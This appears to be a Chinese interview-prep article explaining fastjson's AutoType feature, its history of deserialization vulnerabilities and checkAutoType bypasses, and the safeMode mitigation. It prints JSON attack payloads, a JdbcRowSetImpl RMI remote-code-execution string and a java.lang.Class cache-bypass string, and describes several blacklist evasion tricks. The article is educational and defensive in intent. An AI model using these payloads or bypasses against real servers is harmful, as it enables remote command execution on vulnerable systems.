面试回答

当我们使用 fastjson 进行序列化的时候,当一个类中包含了一个接口(或抽象类)的时候,会将子类型抹去,只保留(抽象类)的类型,使得反序列化时无法拿到原始类型。

那么为了解决这个问题,fastjson 引入了 AutoType,即在序列化的时候,把原始类型记录下来。

因为有了 autoType 功能,那么 fastjson 在对 JSON 字符串进行反序列化的时候,就会读取 @type到内容,试图把 JSON 内容反序列化成这个对象,并且会调用这个类的 setter 方法。

那么这个特性就可能被利用,攻击者自己构造一个 JSON 字符串,并且使用 @type指定一个自己想要使用的攻击类库实现攻击。

举个例子,黑客比较常用的攻击类库时 com.sun.rowset.JdbcRowSetImpl,这是 sun 官方提供的一个类库,这个类的 dataSourceName支持传入一个 rmi 的源,当解析这个 uri 的时候,就会支持 rmi 远程调用,去指定的 rmi 地址中去调用方法。

而 fastjson 在反序列化时会调用目标类的 setter 方法,那么如果黑客在 JdbcRowSetImpldataSourceName中设置了一个想要执行的命令,那么就会导致很严重的后果。

如通过以下方式定一个 JSON 串,即可实现远程命令执行(在早期版本中,新版本中 JdbcRowSetImpl 已经被加了黑名单)

{
    "@type":"com.sun.rowset.JdbcRowSetImpl",
    "dataSourceName":"rmi://localhost:1099/Exploit",
    "autoCommit":true
}

这就是所谓的远程命令执行漏洞,即利用漏洞入侵到目标服务器,通过服务器执行命令。

知识扩展

AutoType

fastjson 的主要功能就是将 Java Bean 序列化成 JSON 字符串,这样得到字符串之后就可以通过数据库等方式进行持久化了。

但是,fastjson 序列化以及反序列化的过程中并没有使用 Java 自带的序列化机制,而是自定义了一套机制。

其实,对于 JSON 框架来说,想要把一个 Java 对象转换成字符串,可以有两种选择:

  1. 基于属性
  2. 基于 setter/getter

而我们所常用的 JSON 反序列化框架中,FastJson 和 jackson 在把对象序列化成 json 字符串的时候,是通过遍历出该类的所有 getter 方法进行的。Gson 并不是这么做的,他是通过反射遍历该类中的所有属性,并把其值序列化成 json。

假设我们有以下一个 Java 类:

public class Store {
    private String name;
    private Fruit fruit;

    public String getName() {
        return name;
    }

    public Fruit getFruit() {
        return fruit;
    }

    public void setFruit(Fruit fruit) {
        this.fruit = fruit;
    }

    public void setName(String name) {
        this.name = name;
    }

    interface Fruit {
    }


    class Apple implements Fruit{ {
        private BigDecimal price;

        public void setPrice(BigDecimal price) {
            this.price = price;
        }

        public BigDecimal getPrice() {
            return price;
        }
    }
}

 

当我们要对他进行序列化的时候,fastjson 会扫描其中的 getter 方法,即找到 getName 和 getFruit,这时候就会将 name 和 fruit 两个字段的值序列化到 JSON 字符串中。

那么问题来了,我们上面的定义的 Fruit 只是一个接口,序列化的时候 fastjson 能够把属性值正确序列化出来吗?如果可以的话,那么反序列化的时候,fastjson 会把这个 fruit 反序列化成什么类型呢?

我们尝试着验证一下,基于(fastjson v 1.2.68)

    public static void main(String[] args) {
        Store store=new Store();
        store.setName("Tango");
        Apple apple=new Apple();
        apple.setPrice(new BigDecimal("0.5"));
        store.setFruit(apple);
        String jsonString= JSON.toJSONString(store);
        System.out.println("jsonString:"+jsonString);
    }

以上代码比较简单,我们创建了一个 store,为他指定了名称,并且创建了一个 Fruit 的子类型 Apple,然后将这个 store 使用 JSON.toJSONString进行序列化,可以得到一下 JSON 内容:

jsonString:{"fruit":{"price":0.5},"name":"Tango"}

那么,这个 fruit 的类型到底是什么呢?能否反序列化成 Apple 呢?我们再来执行以下代码:

    Store newStore=JSON.parseObject(jsonString,Store.class);
    System.out.println("parseObject:"+newStore);
    Apple newApple=(Apple) newStore.getFruit();
    System.out.println("newApple:"+newApple);

执行结果如下:

jsonString:{"fruit":{"price":0.5},"name":"Tango"}
parseObject:Store{name='Tango', fruit=price:0.5}
Exception in thread "main" java.lang.ClassCastException: com.sun.proxy.$Proxy0 cannot be cast to com.chiyi.test.Apple
	at com.chiyi.test.Main.main(Main.java:22)

可以看到,在将 store 反序列化之后,我们尝试将 Fruit 转换成 Apple,但是抛出了异常,尝试直接转换成 Fruit 则不会报错,如:

    Fruit newFruit =newStore.getFruit();
    System.out.println("newFruit:"+newFruit);

以上现象,我们知道,当一个类中包含了一个接口(或抽象类)的时候,在使用 fastjson 进行序列化的时候,会将子类型抹去,只保留接口(抽象类)的类型,使得反序列化时无法拿到原始类型。

那么有什么办法解决这个问题,fastjson 引入了 AutoType,即在序列化的时候,把原始类型记录下来。

使用方法是通过 SerializerFeature.WriteClassName进行标记,即将上述代码中的

 String jsonString= JSON.toJSONString(store);

修改成:

String jsonString= JSON.toJSONString(store,SerializerFeature.WriteClassName);

即可,以上代码,输出结果如下:

System.out.println("jsonString:"+jsonString);

{
    "@type": "com.chiyi.test.Store",
    "fruit": {
        "@type": "com.chiyi.test.Apple",
        "price": 0.5
    },
    "name": "Tango"
}

可以看到,使用 SerializerFeature.WriteClassName进行标记后,JSON 字符串中多出了一个 @type字段,标注了类对应的原始类型,方便在反序列化的时候定位到具体类型。

如上,将序列化后的字符串在反序列化,即可以顺利的拿到一个 Apple 类型,整体输出内容:

jsonString:{"@type":"com.chiyi.test.Store","fruit":{"@type":"com.chiyi.test.Apple","price":0.5},"name":"Tango"}
parseObject:Store{name='Tango', fruit=Apple{price=0.5}}
newApple:Apple{price=0.5}

这就是 AutoType,以及 fastjson 中引入 AutoType 的原因。

但是,也正是这个特性,因为在功能设计之初在安全方面考虑得不够周到,也给后续 fastjson 使用者带来了无尽的痛苦。

AutoType 何错之有?

因为有了 autoType 功能,那么 fastjson 在对 JSON 字符串进行反序列化的时候,就会读取 @type到内容,试图把 JSON 内容反序列化成这个对象,并且会调用这个类的 setter 方法。

那么就可以利用这个特性,自己构造一个 JSON 字符串,并且使用 @type指定一个自己想要使用的攻击类库。

举个例子,黑客比较常用的攻击类库是 com.sun.rowset.JdbcRowSetImpl,这是 sun 官方提供的一个类库,这个类的 DataSourceName支持传入一个 rmi 的源,当解析这个 uri 的时候,就会支持 rmi 远程调用,去指定的 rmi 地址中去调用方法。

而 fastjson 在反序列化时会调用目标类的 setter 方法,那么如果黑客在 JdbcRowSetImplDataSourceName 中设置了一个想要执行的命令,那么就会导致很严重的后果。

如通过以下方式定一个 JSON串,即可实现远程命令执行(在早期版本中,新版本中 JdbcRowSetImpl已经被加了黑名单 )

{
    "@type":"com.sun.rowset.JdbcRowSetImpl",
    "dataSourceName":"rmi://localhost:1099/Exploit",
    "autoCommit":true
}

这就是所谓的远程命令执行漏洞,即利用漏洞入侵到目标服务器,通过服务器执行命令。

在早期的 fastjson 版本中(v1.2.25之前),因为 AutoType 是默认开启的,并且也没有什么限制,可以说是裸着的。

从 v1.2.25 开始,fastjson 默认关闭了 autotype 支持,并且加入了 checkAutotype,加入了黑名单+白名单来防御 autotype 开启的情况。

但是,也是从这个时候开始,黑客和fastjson作者之间的博弈就开始了。

因为fastjson默认关闭了autotype支持,并且做了黑白名单的校验,所以攻击方向就转变成了“如何绕过 checkAutotype”。

下面就来细数以下各版本的 fastjson 中存在的漏洞以及攻击原理,由于篇幅限制,这里并不会讲解的特别细节,如果大家感兴趣我后面可以单独写一篇文章讲讲细节。下面的内容主要是提供一些思路,目的是说明写代码的时候注意安全性的重要性。

绕过 checkAutotype,黑客与 fastjson 的博弈

在 fastjson v1.2.41 之前,在 checkAutotype 的代码中,会先进行黑白名单的过滤,如果要反序列化的类不在黑白名单中,那么才会对目标类进行反序列化。

但是在加载的过程中,fastjson 有一段特殊的处理,那就是在具体加载类的时候去掉 className 前后的 L;,形如 Lcom.lang.Thread;

    public static Class<?> loadClass(String className, ClassLoader classLoader) {
        if (className != null && className.length() != 0) {
            Class<?> clazz = (Class)mappings.get(className);
            if (clazz != null) {
                return clazz;
            } else if (className.charAt(0) == '[') {
                Class<?> componentType = loadClass(className.substring(1), classLoader);
                return Array.newInstance(componentType, 0).getClass();
            } else if (className.startsWith("L") && className.endsWith(";")) {
                String newClassName = className.substring(1, className.length() - 1);
                return loadClass(newClassName, classLoader);
            } else {
                try {
                    if (classLoader != null) {
                        clazz = classLoader.loadClass(className);
                        mappings.put(className, clazz);
                        return clazz;
                    }
                } catch (Throwable var6) {
                    var6.printStackTrace();
                }

                try {
                    ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();
                    if (contextClassLoader != null && contextClassLoader != classLoader) {
                        clazz = contextClassLoader.loadClass(className);
                        mappings.put(className, clazz);
                        return clazz;
                    }
                } catch (Throwable var5) {
                }

                try {
                    clazz = Class.forName(className);
                    mappings.put(className, clazz);
                    return clazz;
                } catch (Throwable var4) {
                    return clazz;
                }
            }
        } else {
            return null;
        }
    }

而黑白名单又是通过 startsWith检测的,那么黑客只要在自己想要使用的攻击类库前后加上 L;就可以绕过黑白单的检查了,也不耽误被 fastjson 正常加载。

Lcom.sun.rowset.JdbcRowSetImpl;,会先通过白名单校验,然后 fastjson 在加载类的时候去掉前后的 L;变成了 com.sun.rowset.JdbcRowSetImpl

为了避免被攻击,在之后的 v1.2.42 版本中,在进行黑白名单检测的时候,fastjson 先判断目标类的前后是不是 L;,如果是的话,就截取掉前后的 L;,再进行黑白名单的校验。

看似解决了问题,但是黑客发现了这个规则之后,就在攻击时在目标类前后双写 LL;;,这样再被截取之后还是可以绕过检测。如 LLcom.sun.rowset.JdbcRowSetImpl;;

魔高一尺,道高一丈。在 v1.2.43 中,fastjson 这次在黑白名单判断之前,增加了一个是否以 LL开头的判断,如果目标类以 LL开头,那么就直接抛异常,于是就又短暂的修复了这个漏洞。

黑客在L;这里走不通了,于是想办法从其他地方下手,因为 fastjson 在加载类的时候,不只对 L;这样的类进行特殊处理,还对 [也被特殊处理了。

同样的攻击手段,在目标类前面添加[,v1.2.43 以前的所有版本又沦陷了。

于是,在 v1.2.44 版本中,fastjson 的作者做了更加严格的要求,只要目标类以 [开头或者以 ;结尾,都直接抛异常。也就解决了 v1.2.43 及历史版本中发现的 bug。

在之后的几个版本中,黑客的主要的攻击方式就是绕过黑名单了,而 fastjson 也在不断的完善自己的黑名单。

autoType 不开启也能被攻击?

但是好景不长,在升级到 v1.2.47 版本时,黑客再次找到了办法来攻击。而且这个攻击只有在 autoType 关闭的时候才生效。

是不是很奇怪,autoType 不开启反而会被攻击。

因为在 fastjson 中有一个全局缓存,在类加载的时候,如果 autoType 没开启,会先尝试从缓存中获取类,如果缓存中有,则直接返回。黑客正是利用这个机制进行了攻击。

黑客先想办法把一个类加到缓存中,然后再次执行的时候就可以绕过黑白名单检测了,多么聪明的手段。

首先想要把一个黑名单中的类加到缓存中,需要使用一个不在黑名单中的类,这个类就是 java.lang.Class

java.lang.Class类对应的 deserializerMiscCodec,反序列化时会取 json 串的 val 值并加载这个 val 对应的类。

如果 fastjson cache 为 true,就会缓存这个 val 对应的 class 到全局缓存中。

如果再次加载 val 名称的类,并且 autoType 没开启,下一步就是会尝试从全局缓存中获取这个 class,进而进行攻击。

所以,黑客只需要把攻击类伪装一下就行了,如下格式:

{
    "@type":"java.lang.Class",
    "val":"com.sun.rowset.JdbcRowSetImpl"
}

于是在 v1.2.48 中,fastjson 修复了这个bug,在 MiscCodec中,处理 Class 类的地方,设置了 fastjson cache为 false,这样攻击类就不会被缓存了,也就不会被获取到了。

在之后的多个版本中,黑客与 fastjson 又继续一直都在绕过黑名单、添加黑名单中进行周旋。

知道后来,黑客在 v1.2.68 之前的版本中又发现了一个新的漏洞利用方式。

利用异常进行攻击

在 fastjson 中,如果 @type指定的类为 Throwable 的子类,那对应的反序列化处理类就会使用到 ThrowableDeserializer

而在 ThrowableDeserializer#deserialze 的方法中,当有一个字段的 key 也是 @type时,就会把这个 value 当做类名,然后进行一次 checkAutoType 检测。

并且指定了 expectClass 为 Throwable.class,但是在 checkAutoType 中,有这样一约定,那就是如果指定了 expectClass,那么也会通过校验。

if (clazz != null) {
    if (expectClass.isAssignableFrom(clazz)) {
         TypeUtils.addMapping(typeName,clazz);
         return clazz;
    } 
    throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}

因为 fastjson 在反序列化的时候会尝试执行里面的 getter 方法,而 Exception 类中都有一个 getMessage 方法。

黑客只需要自定义一个异常,并且重写其 getMessage 就达到了攻击的目的。

这个漏洞就是 6 月份全网疯传的那个“严重漏洞”,使得很多开发者不得不升级到新版本。

这个漏洞在 v1.2.69 中被修复,主要修复方式是对于需要过滤掉的 expectClass进行了修改,新增了 4 个新的类,并且将原来的 Class 类型的判断修改为 hash 的判断。

其实,根据 fastjson 的官方文档介绍,即使不升级到新版,在 v1.2.68 中也可以规避掉这个问题,那就是使用 safeMode。

AutoType 安全模式?

可以看到,这些漏洞的利用几乎都是围绕 AutoType 来的,于是,在 v1.2.68 版本中,引入了 safeMode,配置 safeMode 后,无论白名单和黑名单,都不支持 autoType,可以定程序上缓解反序列化 Gadgets 类变种攻击。

设置了 safeMode 后,@type 字段不再生效,即当解析形如 {"@type":"java.lang.Class"}的JSON串时,将不再反序列化出对应的类。

开启 safeMode 方式如下:

    ParserConfig.getGlobalInstance().setSafeMode(true);
    Store store=new Store();
    store.setName("Tango");
    Apple apple=new Apple();
    apple.setPrice(new BigDecimal("0.5"));
    store.setFruit(apple);
    String jsonString= JSON.toJSONString(store,SerializerFeature.WriteClassName);
    System.out.println("jsonString:"+jsonString);

    Store newStore=JSON.parseObject(jsonString,Store.class);
    System.out.println("parseObject:"+newStore);
    Apple newApple = (Apple) newStore.getFruit();
    System.out.println("newApple:"+newApple);

执行代码,会得到以下异常:

jsonString:{"@type":"com.chiyi.test.Store","fruit":{"@type":"com.chiyi.test.Apple","price":0.5},"name":"Tango"}
Exception in thread "main" com.alibaba.fastjson.JSONException: safeMode not support autoType : com.chiyi.test.Apple
	at com.alibaba.fastjson.parser.ParserConfig.checkAutoType(ParserConfig.java:1244)
	at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze(JavaBeanDeserializer.java:804)
	at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze(JavaBeanDeserializer.java:288)
	at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze(JavaBeanDeserializer.java:284)
	at com.alibaba.fastjson.parser.deserializer.FastjsonASMDeserializer_1_Store.deserialze(Unknown Source)
	at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze(JavaBeanDeserializer.java:284)
	at com.alibaba.fastjson.parser.DefaultJSONParser.parseObject(DefaultJSONParser.java:688)
	at com.alibaba.fastjson.JSON.parseObject(JSON.java:396)
	at com.alibaba.fastjson.JSON.parseObject(JSON.java:300)
	at com.alibaba.fastjson.JSON.parseObject(JSON.java:573)
	at com.chiyi.test.Main.main(Main.java:24)

但是值得注意的是,使用这个功能,fastjson 会直接禁用 autoType 功能,即在 checkAutoType 方法中,直接抛出一个异常。

你知道fastjson的反序列化漏洞吗?-LMLPHP

开发者可以将自己项目中使用的 fastjson 升级到最新版,并且如果代码中不需要用到 AutoType 的话,可以考虑使用 safeMode,但是要评估下对历史代码的影响。

因为 fastjson 自己定义了序列化工具类,并且使用 asm 技术避免反射、使用缓存、并且做了很多算法优化等方式,大大提升了序列化及反序列化的效率。

之前有网友对比过:

当然,快的同时也带来了一些安全性问题,这是不可否认的。

08-22 13:31